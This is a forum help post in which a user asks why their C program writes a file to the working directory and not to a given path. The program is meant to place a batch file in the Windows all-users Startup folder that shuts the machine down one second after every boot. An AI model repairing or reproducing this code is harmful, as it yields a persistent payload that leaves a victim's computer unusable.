B
blackneos940
Guest
So I want to create a File in a target Directory in Windows, but it only creates the File in the same Directory it runs in..... This is C, just so you guys know.....
So basically, even though I tried using TWO "\" symbols, it still wrote the File to the current working Directory of the Executable..... Now, I would have no problem in LINUX, as it doesn't share a Symbol used with a Newline Character, but, I digress..... I WANTED it to be a pretty cool Program that would Shut Down Windows as soon as it Booted up..... But.... Oh yes..... It names the actual File whatever I put into the quotes..... Any help....? :3 Thanks!!..... ^^
Code:
#include <stdio.h>
int main()
{
FILE *f_ptr;
int target_dir;
f_ptr = fopen ("C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\GoToSLEEP.bat", "w");
if (f_ptr == NULL)
{
printf ("Could not write to file.");
}
fprintf (f_ptr, "@echo Go... To... SLEEP.\nshutdown -s -t 1\n@pause");
fflush (f_ptr);
fclose(f_ptr);
return 0;
}
So basically, even though I tried using TWO "\" symbols, it still wrote the File to the current working Directory of the Executable..... Now, I would have no problem in LINUX, as it doesn't share a Symbol used with a Newline Character, but, I digress..... I WANTED it to be a pretty cool Program that would Shut Down Windows as soon as it Booted up..... But.... Oh yes..... It names the actual File whatever I put into the quotes..... Any help....? :3 Thanks!!..... ^^